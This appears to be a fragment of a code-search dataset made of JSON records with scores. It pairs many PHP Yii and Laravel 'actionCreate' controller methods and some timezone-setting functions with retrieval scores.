exit();\n\t\t\t }\n\t\t\t \n } \n \n else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "c72107c622ee302df3bccf686bc54ab1", "score": "0.6257495", "text": "public function actionCreate()\n {\n $model = new OaGoodsinfo();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->pid]);\n } else {\n\n return $this->render('create', [\n 'model' => $model,\n\n ]);\n }\n }", "title": "" }, { "docid": "409ce541d28de331883d8b5624e36f55", "score": "0.6253795", "text": "public function actionCreate()\n {\n $model = new Cms();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "ed4db1fa775089b5690a3e196b3d4bc9", "score": "0.6247813", "text": "public function create()\n\t{\n return View::make('uploads.create');\n\t}", "title": "" }, { "docid": "7b05bd696c48a625a0aa3c64a2009645", "score": "0.6245351", "text": "public function actionCreate()\n {\n $model = new Item();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "c7b835ee3922b6cc52571f2594856bb3", "score": "0.6234106", "text": "public function actionCreate()\n {\n $model = new Item;\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "a0c0c53bef3038510b476ba52b5c4bf4", "score": "0.62324125", "text": "public function actionCreate()\n {\n $model = new News();\n\n $post = Yii::$app->request->post();\n if( $post && $model->load($post) ) {\n $model->image_big = UploadedFile::getInstance($model, 'image_big');\n $model->image_middle = UploadedFile::getInstance($model, 'image_middle');\n $model->image_small = UploadedFile::getInstance($model, 'image_small');\n if( $model->validate()) {\n $session = Yii::$app->session;\n $transaction = Yii::$app->db->beginTransaction();\n try {\n\n $model->img_big = Inflector::slug($model->image_big->baseName) . '_' . time() . '.' . $model->image_big->extension;\n $model->img_middle = Inflector::slug($model->image_middle->baseName) . '_' . time() . '.' . $model->image_middle->extension;\n $model->img_small = Inflector::slug($model->image_small->baseName) . '_' . time() . '.' . $model->image_small->extension;\n\n $model->save();\n\n $model->image_big->saveAs('uploads/news/' . $model->img_big);\n $model->image_middle->saveAs('uploads/news/' . $model->img_middle);\n $model->image_small->saveAs('uploads/news/' . $model->img_small);\n\n $transaction->commit();\n return $this->redirect(['update', 'id' => $model->id]);\n } catch(\\Throwable $e) {\n $transaction->rollBack();\n $session->addFlash('danger', 'Не удалось создать новость!');\n }\n }\n }\n\n return $this->render('create', ['model' => $model]);\n }", "title": "" }, { "docid": "5d3955d69addee36bfcfee61e6373e2f", "score": "0.6231379", "text": "public function actionCreate()\n {\n $model = new PurInfo();\n\n if ($model->load(Yii::$app->request->post()) && $model->save(false)) {\n return $this->redirect(['view', 'id' => $model->pur_info_id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "47e0853ded77340149d98f5a23f74f5b", "score": "0.6228386", "text": "public function actionCreate()\n {\n $model = new Classes();\n\n $model->userId = Yii::$app->user->identity->id;\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "25405341114f0f80802bb021a9ad4fd4", "score": "0.6227218", "text": "public function actionCreate()\n\t{\n\t\t$model=new Students;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Students']))\n\t\t{\n\t\t\n\t\t\t$model->attributes=$_POST['Students'];\n\t\t\t$list = $_POST['Students'];\n\t\t\tif($model->admission_date)\n\t\t\t$model->admission_date=date('Y-m-d',strtotime($model->admission_date));\n\t\t\tif($model->date_of_birth)\n\t\t\t$model->date_of_birth=date('Y-m-d',strtotime($model->date_of_birth));\n\t\t\t //$model->photo_data=CUploadedFile::getInstance($model,'photo_data');\n\t\t\t \n\t\t\tif($file=CUploadedFile::getInstance($model,'photo_data'))\n\t\t\t {\n\t\t\t\t$model->photo_file_name=$file->name;\n\t\t\t\t$model->photo_content_type=$file->type;\n\t\t\t\t$model->photo_file_size=$file->size;\n\t\t\t\t$model->photo_data=file_get_contents($file->tempName);\n \t\t }\n\t\t\t /*else{\n\t\t\t\t if(isset($_POST['photo_file_name'])){\n\t\t $model->photo_file_name=$_POST['photo_file_name'];\n\t\t\t\t\t $model->photo_content_type=$_POST['photo_content_type'];\n\t\t\t\t\t $model->photo_file_size=$_POST['photo_file_size'];\n\t\t\t\t\t $model->photo_data=hex2bin($_POST['photo_data']);\n\t\t\t\t }\n\t\t\t }*/\n //echo $model->photo_data.'----';\n\t\t\t/*if(isset($_FILES['Students']))\n\t\t\t{\n\t\t\t\tprint_r($_FILES['Students']);\n\t\t\t\texit;\n\t\t\t\t$tmpName = $_FILES['Students']['tmp_name'];\n\t\t\t $fp = fopen($tmpName, 'r');\n\t\t\t $data = fread($fp, filesize($tmpName));\n\t\t\t $data = addslashes($data);\n\t\t\t fclose($fp);\n\t\t\t $model->photo_data = $data;\n\t\t\t}*/\n\t\t\tif($model->save())\n\t\t\t{\n\t\t\t\t//Adding activity to feed via saveFeed($initiator_id,$activity_type,$goal_id,$goal_name,$field_name,$initial_field_value,$new_field_value)\n\t\t\t\tActivityFeed::model()->saveFeed(Yii::app()->user->Id,'3',$model->id,ucfirst($model->first_name).' '.ucfirst($model->middle_name).' '.ucfirst($model->last_name),NULL,NULL,NULL); \n\t\t\t\t\n\t\t\t\t//adding user for current student\n\t\t\t\t$user=new User;\n\t\t $profile=new Profile;\n\t\t\t\t \t $user->username = substr(md5(uniqid(mt_rand(), true)), 0, 10);\n\t\t\t\t\t $user->email = $model->email;\n\t\t\t\t $user->activkey=UserModule::encrypting(microtime().$model->first_name);\n\t\t\t\t\t\t$password = substr(md5(uniqid(mt_rand(), true)), 0, 10);\n\t\t\t\t\t\t$user->password=UserModule::encrypting($password);\n\t\t\t\t\t\t$user->superuser=0;\n\t\t\t\t\t\t$user->status=1;\n\t\t\t\t\t\t\n\t\t\t\t\t\tif($user->save())\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t//assign role\n\t\t\t\t\t\t$authorizer = Yii::app()->getModule(\"rights\")->getAuthorizer();\n $authorizer->authManager->assign('student', $user->id); \n\t\t\t\t\t\t\n\t\t\t\t\t\t//profile\n\t\t\t\t\t\t$profile->firstname = $model->first_name;\n\t\t\t\t\t\t$profile->lastname = $model->last_name;\n\t\t\t\t\t\t$profile->user_id=$user->id;\n\t\t\t\t\t\t$profile->save();\n\t\t\t\t\t\t\n\t\t\t\t\t\t//saving user id to students table.\n\t\t\t\t\t\t$model->saveAttributes(array('uid'=>$user->id));\n\t\t\t\t\t\t\n\t\t\t\t\t\t// for sending sms\n\t\t\t\t\t\t$sms_settings = SmsSettings::model()->findAll();\n\t\t\t\t\t\t$to = '';\n\t\t\t\t\t\tif($sms_settings[0]->is_enabled=='1' and $sms_settings[2]->is_enabled=='1'){ // Checking if SMS is enabled.\n\t\t\t\t\t\t\tif($model->phone1){\n\t\t\t\t\t\t\t\t$to = $model->phone1;\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif($model->phone2){\n\t\t\t\t\t\t\t\t$to = $model->phone2;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif($to!=''){ // Send SMS if phone number is provided\n\t\t\t\t\t\t\t\t$college=Configurations::model()->findByPk(1);\n\t\t\t\t\t\t\t\t$from = $college->config_value;\n\t\t\t\t\t\t\t\t$message = 'Welcome to '.$college->config_value.'. You have been successfully admitted. Please note your admission no: '. $_POST['Students']['admission_no'];\n\t\t\t\t\t\t\t\t$login_message = 'Log on to '.$college->config_value.' account with your email as username and '.$password.' as password.';\n\t\t\t\t\t\t\t\t// SmsSettings::model()->sendSms($to,$from,$message);\n\t\t\t\t\t\t\t\tSmsSettings::model()->sendSms($to,$from,$message);\n\t\t\t\t\t\t\t} // End send SMS\n\t\t\t\t\t\t} // End check if SMS is enabled\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tUserModule::sendMail($model->email,UserModule::t(\"You are registered from {site_name}\",array('{site_name}'=>Yii::app()->name)),UserModule::t(\"Please login to your account with your email id as username and password {password}\",array('{password}'=>$password)));\n\t\t\t\t\t\t}\n\t\t\t\t\t// for saving in fee table\n\t\t\t\t $fee_collection = FinanceFeeCollections::model()->findAll('batch_id=:x',array(':x'=>$model->batch_id));\n\t\t\t\t \n\t\t\t\t if($fee_collection!=NULL)\n\t\t\t\t {\n\t\t\t\t\t for($i=0;$i<count($fee_collection);$i++)\n\t\t\t\t\t {\n\t\t\t\t\t\t $fee = new FinanceFees;\n\t\t\t\t\t\t $fee->fee_collection_id = $fee_collection[$i]['id'];\n\t\t\t\t\t\t $fee->student_id = $model->id;\n\t\t\t\t\t\t $fee->is_paid = '0';\n\t\t\t\t\t\t $fee->save();\n\t\t\t\t\t }\n\t\t\t\t }\n\t\t\t\t\n\t\t\t\t$this->redirect(array('guardians/create','id'=>$model->id));\n\t\t\t}\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "84192cfda5f375ba9dcb58b14618fb87", "score": "0.6226188", "text": "public function actionCreate()\n\t{\n\t\t$model = new TplCover;\n\n\t\tif ($model->load($_POST) && $model->save()) {\n\t\t\treturn $this->redirect(['view', 'id' => $model->id]);\n\t\t} else {\n\t\t\t$modelList=$this->getModelList();\n\t\t\t\n\t\t\treturn $this->render('create', [\n\t\t\t\t'model' => $model,\n\t\t\t\t'modelList' =>$modelList,\n\t\t\t]);\n\t\t}\n\t}", "title": "" }, { "docid": "b429e4e1f161ea060b47c7af0122b77f", "score": "0.6223017", "text": "public function actionCreate()\n {\n $model = new Vote();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "bb232ae9f2c183f75078ac77bc043499", "score": "0.62223846", "text": "public function actionCreate() {\n $model = new Administrators();\n\n if ($model->load(Yii::$app->request->post())) {\n\n //INSTACIO EL ARCHIVO CARGADO\n $model->file = \\yii\\web\\UploadedFile::getInstance($model, 'file');\n if (!is_null($model->file)) {\n if (!$model->file = \\yii\\web\\UploadedFile::getInstance($model, 'file')) {\n Yii::$app->session->setFlash('error', \"El archivo no pudo \"\n . \"ser cargado. Inténtelo de nuevo.\");\n return $this->redirect(['index']);\n }\n\n //RUTA DE ALMACENAJE LOCAL Y NOMBRE\n $ruta = 'archivos/' . date('YmdHis') . '-'\n . strtolower(trim(str_replace($this->especial, $this->wespecial, $model->file->baseName))) . '.'\n . strtolower(trim($model->file->extension));\n if (!@$model->file->saveAs($ruta, false)) {\n Yii::$app->session->setFlash('error', \"El archivo no pudo \"\n . \"ser guardado. Inténtelo de nuevo.\");\n return $this->redirect(['index']);\n }\n\n //GUARDO LOS DATOS\n $model->photo = $ruta;\n } else {\n $model->photo = \"\";\n }\n\n if (!$model->save()) {\n if (file_exists($model->photo)) {\n unlink($model->photo);\n }\n Yii::$app->session->setFlash('error', \"El archivo no pudo \"\n . \"ser cargado. Inténtelo de nuevo.\");\n return $this->redirect(['index']);\n }\n\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "89ba11263f51280a835d1c4589da07e6", "score": "0.62207127", "text": "public function actionCreate()\n {\n\n if(Yii::$app->user->can('create-product')) {\n\n $model = new Products();\n\n if ($model->load(Yii::$app->request->post())) {\n\n $model->image = UploadedFile::getInstance($model,'image');\n \n $fileName = time().'.'.$model->image->extension; \n\n $model->image->saveAs('uploads/'.$fileName);\n \n $model->image = $fileName;\n\n $model->save();\n Yii::$app->session->setFlash('success', \"Product created successfully.\"); \n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n\n }\n else {\n\n throw new ForbiddenHttpException(\"You Are Not Perform This Action...\");\n \n }\n \n }", "title": "" }, { "docid": "e58f1f1ae2db612243d8097eec1f8f8a", "score": "0.6220098", "text": "public function actionCreate()\n {\n $model = new Product();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n \t$this->addImage($model);\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "925fa0fc896e1f83acdbf0e59ff1e96e", "score": "0.6217861", "text": "public function actionCreate()\n {\n $model = new User();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "6cf386c439f1c61fc00f8dec8a4a0dd0", "score": "0.6211418", "text": "public function actionCreate()\n {\n $model = new Artista();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "771cd6c173fe2655fb52ab051aa64e00", "score": "0.6210479", "text": "public function actionCreate() {\n $model = new FlujoFondos;\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['FlujoFondos'])) {\n $model->attributes = $_POST['FlujoFondos'];\n if ($model->save())\n $this->redirect(array('view', 'id' => $model->id));\n }\n\n $this->render('create', array(\n 'model' => $model,\n ));\n }", "title": "" }, { "docid": "35a94d456cd53de9d3953fdd4845c039", "score": "0.6208323", "text": "public function actionCreate()\n {\n $model = new DirectoryActivity();\n\n if ($this->request->isPost) {\n if ($model->load($this->request->post()) && $model->save()) {\n return $this->redirect(['index']);\n }\n } else {\n $model->loadDefaultValues();\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "186b266ac9212bb840df8ff1747064a5", "score": "0.62025243", "text": "public function actionCreate()\n\t{\n\t\t$model=new FACTURAS;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['FACTURAS']))\n\t\t{\n\t\t\t$model->attributes=$_POST['FACTURAS'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->id));\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "086c7b4526ca4b68e17f924df56ceedc", "score": "0.62011546", "text": "public function actionCreate()\n {\n $model = new Item();\n $model->loadDefaultValues();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "c744b62980865bbf8bb9905c3021a5ff", "score": "0.6199892", "text": "public function actionCreate()\n\t{\n\t\t$model=new Gallery;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Gallery']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Gallery'];\n $image = new UploadedFiles($this->tempPath, $model->image,$this->imageOptions);\n if($model->save()){\n $image->move($this->imagePath);\n Yii::app()->user->setFlash('success' ,'اطلاعات با موفقیت ثبت شد.');\n $this->redirect(array('admin'));\n }else\n Yii::app()->user->setFlash('failed' ,'در ثبت اطلاعات خطایی رخ داده است! لطفا مجددا تلاش کنید.');\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "af0366eaeea16bb007584968818e5f6a", "score": "0.6193274", "text": "public function create()\n {\n return view('files');\n }", "title": "" }, { "docid": "4686f038b973b7c1240420e88f065abf", "score": "0.6192489", "text": "public function actionCreate()\n {\n $model = new LegalFiles();\n if($lf = Yii::$app->request->get('LegalFilesSearch')){\n $model->entity_id = !empty($lf['entity_id']) ? $lf['entity_id'] : null;\n $model->entity = !empty($lf['entity']) ? $lf['entity'] : null;\n $model->type = !empty($lf['type']) ? $lf['type'] : null; \n if ($model->load(Yii::$app->request->post())) {\n $model->docFile = UploadedFile::getInstance($model, 'docFile');\n if($model->save()){\n if ($model->docFile) {\n $image = $model->uploadFiles();\n $model->file_id = $image;\n $model->save();\n } \n //return $this->redirect([''.$model->entity.'s/view', 'id' => $model->entity_id, '#'=>'w4-tab3']);\n return $this->redirect(['user/settings/document-setup']);\n } \n } else {\n return $this->render('create', [\n 'model' => $model,\n 'entity' => $this->getEntity($model->entity, $model->entity_id),\n ]);\n }\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n } \n }", "title": "" }, { "docid": "e7370dd98e6002a6b8e75b8d1dfa09eb", "score": "0.61914504", "text": "public function actionCreate()\n {\n $model = new SystemRecord();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" } ]
618e247e89da48d833e90165942ba678
Sets the current runtime timezone for the system and for the user.
[ { "docid": "a83a396a3c53d9f21d3d2881aeca8049", "score": "0.61002797", "text": "public function setDefaultTimeZone($timezone)\n {\n // Set php timezone\n date_default_timezone_set($timezone);\n }", "title": "" } ]
[ { "docid": "bcd0086008e5f488e19f2e6a88bc6ca5", "score": "0.7597987", "text": "private static function setTimeZone() {\n\t date_default_timezone_set('UTC');\n\t}", "title": "" }, { "docid": "2671f272c74bdd053f4f3d47e2e3c7c0", "score": "0.74360746", "text": "private function setTimezone()\n {\n if (false == ini_get('date.timezone')\n || (version_compare(phpversion(), '5.4.0', '<') && false === getenv('TZ'))\n ) {\n date_default_timezone_set('UTC');\n }\n }", "title": "" }, { "docid": "c0ff34cfc4648ae23246921b2958daba", "score": "0.7198866", "text": "public static function setTimezone(){\n $tz = Sys::get('config')->timezone;\n if(ThisUser::islogged()){\n $utz = ThisUser::get(\"timezone\");\n if(!empty($utz)){\n $tz = $utz;\n }\n }\n if(!in_array($tz,timezone_identifiers_list()))\n $tz = \"UTC\";\n date_default_timezone_set($tz);\n // Adjust in DB\n //Sys::$Db->setTimezone();\n }", "title": "" }, { "docid": "68bd044303f5fec8286914f68f6220a7", "score": "0.7179677", "text": "private function setTimezone(): void\n {\n if (ini_get('date.timezone') !== false) {\n return;\n }\n\n date_default_timezone_set('UTC');\n }", "title": "" }, { "docid": "ebd5e111592771c8b3393ce111e96628", "score": "0.70970213", "text": "public function setTimezone()\n {\n if (!ini_get('date.timezone')) {\n date_default_timezone_set('UTC');\n }\n }", "title": "" }, { "docid": "a192243fbc54bd0f13df74cac084b279", "score": "0.6831532", "text": "private static function configureTimezone()\n {\n date_default_timezone_set('Europe/London');\n }", "title": "" }, { "docid": "399d55e83a3c3e4261c1c8b3b7eeaefc", "score": "0.6782591", "text": "function sync_server_timezone() {\n\t$result = sudo_execute('date +%Z');\n\tif ($result['rv'] == 0 && strlen($result['output_str']) > 0) {\n\t\tdate_default_timezone_set(timezone_name_from_abbr($result['output_str']));\n\t}\n}", "title": "" }, { "docid": "68891ee3d5916bb9d0f03cc1dedf0755", "score": "0.66882557", "text": "public function setTimezone($_timezone);", "title": "" }, { "docid": "964b4589de40a0ab11cf7103b2a17fd4", "score": "0.64969313", "text": "public static function _restoreDefaultTimeZone()\r\n\t{\r\n\t\tself::$default_timezone = self::$server_timezone;\r\n\t\tself::_switchTimeZone(self::$default_timezone);\r\n\t}", "title": "" }, { "docid": "2b3f724b3b2f3b51972bc4e04c710963", "score": "0.64898294", "text": "public function setTimezone($timezone);", "title": "" }, { "docid": "84f9ba8d919075a304ae8794fbf0dbdf", "score": "0.64544654", "text": "function set_date_timezone()\n{\n date_default_timezone_set('Asia/Shanghai');\n}", "title": "" }, { "docid": "eefc9a0a0cb78bedc8cdee4b557d4982", "score": "0.6404269", "text": "#[\\ReturnTypeWillChange]\n public function setTimezone($timezone)\n {\n }", "title": "" }, { "docid": "4b965bd0a87896263c745d5c753b7879", "score": "0.63785374", "text": "public function setTimezoneOverride(ContextInterface $ctx, SetTimezoneOverrideRequest $request): void;", "title": "" }, { "docid": "ba76d40f24c2a7514b7684227d00b60a", "score": "0.6325717", "text": "protected function _initTimezone()\n\t{\n\t\t// Set date/time zone\n\t\tdate_default_timezone_set('Europe/Berlin');\n\t}", "title": "" }, { "docid": "fc6da49b3965d7f2f18cf90a2bb6ee0b", "score": "0.6303709", "text": "protected function scheduleTimezone()\n\t{\n\t\t// UTC\n\t\t$timeZone = Date::getAppTimeZone();\n\t\t\n\t\treturn $timeZone;\n\t}", "title": "" }, { "docid": "b294ed042de333ad599f0a03158bdea5", "score": "0.6264156", "text": "public function get_test_php_default_timezone()\n {\n }", "title": "" }, { "docid": "ac4d9326421a2ceb6b049812b27be971", "score": "0.61977065", "text": "public function __construct()\n {\n date_default_timezone_set(get_option('timezone'));\n }", "title": "" }, { "docid": "ac4d9326421a2ceb6b049812b27be971", "score": "0.61977065", "text": "public function __construct()\n {\n date_default_timezone_set(get_option('timezone'));\n }", "title": "" }, { "docid": "7126608a42f6df1ae9483dc91e7831ba", "score": "0.61802334", "text": "public function getDefaultTimeZone();", "title": "" }, { "docid": "583494409b9be1d14e71c1ac9615ad8d", "score": "0.61733866", "text": "public function setTimeZone($time_zone)\n\t{\n\t\tdate_default_timezone_set($time_zone);\n\t\n\t}", "title": "" }, { "docid": "e4f2907531065d37b7d73287ca15aeee", "score": "0.6152676", "text": "protected function get_local_timezone()\n {\n }", "title": "" }, { "docid": "8d4189ddf4e7fad0911348b47ce1d157", "score": "0.61390585", "text": "public function __construct()\n {\n date_default_timezone_set(get_company_option('timezone', get_option('timezone','Asia/tehran')));\n\n }", "title": "" }, { "docid": "d546256f63f3a15f9b2f68d92aae2aa7", "score": "0.60979253", "text": "public function initialize()\n {\n if ($timezone = $this->session->get('identity-timezone')) {\n date_default_timezone_set($timezone);\n }\n }", "title": "" }, { "docid": "7715d2962c87ab6de1a5b6ee637d5d91", "score": "0.6086013", "text": "public function setTimezone($timezone) {\n $this->timezone = $timezone;\n }", "title": "" }, { "docid": "3f6c92d73d8558f65055b9142c32c0f7", "score": "0.6068354", "text": "public function testSetTimezoneMethod()\n {\n $timezone = 'America/New_York';\n\n $this->assertEquals(null, Customer::$timezone);\n\n Customer::setTimezone($timezone);\n\n $this->assertEquals($timezone, Customer::$timezone);\n\n Customer::setTimezone();\n\n $this->assertEquals(null, Customer::$timezone);\n }", "title": "" }, { "docid": "f5093c733442863273a7493568e5ae3f", "score": "0.60200477", "text": "protected function configureTimezone()\n {\n if (defined('DB_TIMEZONE')) {\n $this->connection->prepare('set time_zone=\"' . DB_TIMEZONE . '\"')->execute();\n }\n }", "title": "" }, { "docid": "9cf9b9af5828247160c7f8fa8c85e1d7", "score": "0.6008012", "text": "protected function scheduleTimezone()\n {\n return 'America/Los_Angeles';\n }", "title": "" }, { "docid": "8327558f02a0ced6f4505f4c564c8536", "score": "0.5966858", "text": "public function __construct() {\n date_default_timezone_set(get_option('timezone', 'Asia/Dhaka'));\n }", "title": "" }, { "docid": "3bf7c67cb5d85c8c688263d70ec5e1a4", "score": "0.5955616", "text": "public function __construct()\n {\n date_default_timezone_set(get_option('timezone','Asia/Dhaka'));\n }", "title": "" }, { "docid": "1817aa768da3960921fbbbcbf5b47f25", "score": "0.59520054", "text": "public static function set_local_timezone(\\DateTime $date)\n {\n }", "title": "" }, { "docid": "ed33e9a16b8a82f57b816993f82d1608", "score": "0.5937757", "text": "public function setTimezone($timezone) {\r\n\t\tif ($this->DateTime == null) {\r\n\t\t\t$this->DateTime = new DateTime();\r\n\t\t}\r\n\t\t$this->DateTime->setTimezone(new DateTimeZone($timezone));\r\n\t}", "title": "" }, { "docid": "1513b10ddfe6b8f9e5cecaa6fcb0e98d", "score": "0.5899501", "text": "public function setTimezone($tz) {\n\t\t$this->timezone = $tz;\n\t}", "title": "" }, { "docid": "d71aa23edcfbead1ccfbda4cf4c1f8c6", "score": "0.5896395", "text": "public function switchTZ()\r\n\t{\r\n\t \ttry\r\n\t \t{\r\n\t\t \tself::_switchTimeZone($this->timezone);\r\n\t\t \treturn true;\r\n\t \t}\r\n\t \tcatch(ilTimeZoneException $exc)\r\n\t \t{\r\n\t\t\t// Shouldn't happen since this has been checked during initialisation\r\n\t\t\t$this->log->write(__METHOD__.': Unsupported timezone given: Timzone: '.$this->timezone);\r\n\t \t\treturn false;\r\n\t \t}\r\n\t}", "title": "" }, { "docid": "035dc3d56d358b00d7a4423dc0c85a70", "score": "0.5851335", "text": "public function setTimezone($timezone) {\n $this->timezone = $timezone;\n }", "title": "" }, { "docid": "2a8c42a7a7c87a76a857219c7c1da5e1", "score": "0.58180493", "text": "public function setTimezone($timezone)\n {\n $this->timezone = $timezone;\n }", "title": "" }, { "docid": "e108b88c54dfb85898447503e1bbc7da", "score": "0.5808388", "text": "protected function setTimezone($timezone)\n {\n date_default_timezone_set($timezone);\n }", "title": "" }, { "docid": "d831078e6b46a76e7ba4c00d8aff78dc", "score": "0.58054477", "text": "public static function setUpBeforeClass()\n {\n self::$systemTimezone = date_default_timezone_get();\n date_default_timezone_set('Etc/GMT');\n }", "title": "" }, { "docid": "dcdf477ce841b5e6062bfc0c3d779bca", "score": "0.5803698", "text": "public function __construct()\n {\n\t\tdate_default_timezone_set(get_option('timezone','Asia/Dhaka'));\n }", "title": "" }, { "docid": "5ef973edec5dcf52fdd81a5a43d0ab24", "score": "0.57970107", "text": "public function setTimezone($timezone): self;", "title": "" }, { "docid": "e8e729f334eba66a6b965b87b8fae066", "score": "0.5772293", "text": "public function setToDefaultTimeZone() {\n\t\t$this->setTimezone(self::getDefaultTimeZone());\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "52785c10c9e9c16acd5e7e6cba8f11a7", "score": "0.5755537", "text": "public static function _getDefaultTimeZone()\r\n\t{\r\n\t\tif(strlen(self::$default_timezone))\r\n\t\t{\r\n\t\t\treturn self::$default_timezone;\r\n\t\t}\r\n\t\t// PHP >= 5.2.0\r\n\t\tif(function_exists('date_default_timezone_get') and $tz = date_default_timezone_get())\r\n\t\t{\r\n\t\t\treturn self::$default_timezone = $tz;\r\n\t\t}\r\n\t\t// PHP ini option (PHP >= 5.1.0)\r\n\t\tif($tz = ini_get('date.timezone'))\r\n\t\t{\r\n\t\t\treturn self::$default_timezone = $tz;\r\n\t\t}\r\n\t\t// is $_ENV['PHP_TZ'] set ?\r\n\t\tif($tz = getenv('PHP_TZ'))\r\n\t\t{\r\n\t\t\treturn self::$default_timezone = $tz;\r\n\t\t}\r\n\t\t// is $_ENV['TZ'] set ?\r\n\t\tif($tz = getenv('TZ'))\r\n\t\t{\r\n\t\t\treturn self::$default_timezone = $tz;\r\n\t\t}\r\n\t\tif(strlen($tz = date('T')))\r\n\t\t{\r\n\t\t\treturn self::$default_timezone = $tz;\r\n\t\t}\r\n\t\treturn self::$default_timezone = self::UTC;\r\n\t}", "title": "" }, { "docid": "e80524982bc40129fbf5cc98ebe91d7a", "score": "0.5755524", "text": "public function setTimeZone($value)\n {\n return $this->set(self::_TIME_ZONE, $value);\n }", "title": "" }, { "docid": "41e9094efe85b442e165ac85ca593a37", "score": "0.57493377", "text": "public static function setTimezone($timezone) {\n $settings = self::getSettings();\n \n $settings->timezone = $timezone;\n $settings->save();\n }", "title": "" }, { "docid": "b7fe9910681b7e2bdc8dbe0f942c99b1", "score": "0.5730445", "text": "public function setTimeZone(string $timezone): static\n\t{\n\t\tdate_default_timezone_set($timezone);\n\t\t@ini_set('date.timezone', $timezone); // @ - function may be disabled\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "c2991a34d0b7678edab7c4504dbe0047", "score": "0.57122636", "text": "public function getTimeZone()\n\t{\n\t\treturn date_default_timezone_get();\n\t}", "title": "" }, { "docid": "38c7f5eac196aaf653405d3a6ef0282d", "score": "0.57057846", "text": "function set_time_by_user_timezone($time)\n{\n $user = Auth::user();\n\n if($user) {\n\n // Get the value of timezone if user have some\n $time_zone = intval($user->settings->timezone * 60 ?? null);\n\n return Carbon::parse($time)->addMinutes($time_zone ?? null);\n }\n\n return Carbon::parse($time);\n \n}", "title": "" }, { "docid": "a5da464ed6792853b4a0c4ae10aa3e36", "score": "0.5699115", "text": "public function timezone()\n {\n $this->rules[] = 'timezone';\n\n return $this;\n }", "title": "" }, { "docid": "e4cf61f62890d31231387f5cd344d69e", "score": "0.56929874", "text": "public static function initialize()\n {\n date_default_timezone_set('Asia/Shanghai');\n }", "title": "" }, { "docid": "f3c6e00a765266d83be547c4f51c4731", "score": "0.56855255", "text": "function getTimeZone() { return $this->_timezone; }", "title": "" }, { "docid": "f3c6e00a765266d83be547c4f51c4731", "score": "0.56855255", "text": "function getTimeZone() { return $this->_timezone; }", "title": "" }, { "docid": "65b7100d363fc22cb18d108f4b72cb90", "score": "0.5652418", "text": "public function testApplicationTimezone()\n {\n // And directly insert to db, no matter what timezone in DB setting, DB OS, App OS setting\n // So make sure the timezone always UTC\n $expectedIsUTC = 'UTC';\n $this->assertEquals(config('app.timezone'), $expectedIsUTC); // Hongkong, Asia/Hong_Kong\n $this->assertEquals(date('e'), $expectedIsUTC); // date_default_timezone_set(\"Hongkong\");\n $this->assertEquals(Carbon::now()->format('e'), 